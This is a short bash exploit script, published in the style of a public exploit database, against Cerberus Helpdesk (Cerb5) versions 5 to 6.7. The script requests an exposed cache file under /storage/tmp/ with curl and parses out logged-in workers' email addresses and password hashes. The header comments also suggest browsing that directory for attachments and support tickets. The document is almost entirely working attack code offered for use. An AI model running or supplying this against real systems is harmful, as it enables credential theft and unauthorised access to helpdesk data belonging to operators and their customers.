erberus Helpdesk (Cerb5) Password Hash Grabbing

#!/bin/bash
#####################################################################################
# Exploit Title: Cerberus Helpdesk (Cerb5) Password Hash Grabbing                   #
# Date: 04.02.2016                                                                  #
# Exploit Author: asdizzle_                                                         #
# Vendor Homepage: http://www.cerberusweb.com/                                      #
# Software Link: http://www.cerberusweb.com/downloads/cerb5/archive/cerb5-5_4_4.zip #
# Version: 5 - 6.7                                                                  #
# Tested on: Debian 8 / apache2 with cerb 5                                         #
#####################################################################################
# Prerequisites:                                                                    #
#		-At least one worker must be logged in                              #
#		-/storage/tmp/ dir must be accessible                               #
#                                                                                   #
# If everything else fails try if there's directory listing in /storage/tmp         #
# You might find attachments and even support tickets.                              #
#####################################################################################

url='http://172.16.15.137/cerb5/5.4.4' # Full url (without /index.php/ !)
pre='devblocks' # If this doesn't work try 'zend'

echo "[*] Trying to fetch cache file"

cachechk=$(curl -s $url"/storage/tmp/"$pre"_cache---ch_workers" | grep pass)
if [ -z "$cachechk" ];then
	echo "[-] File not found."
	exit
else
	echo "[+] Found. Extracting..."
	hashes=$(echo "$cachechk" | sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g')
	if [ -z "$hashes" ];then
		echo "[-] Hash extracting failed"
	else
		echo "[+] Extracting seems to have worked"
		echo
		echo "$hashes"
	fi
fi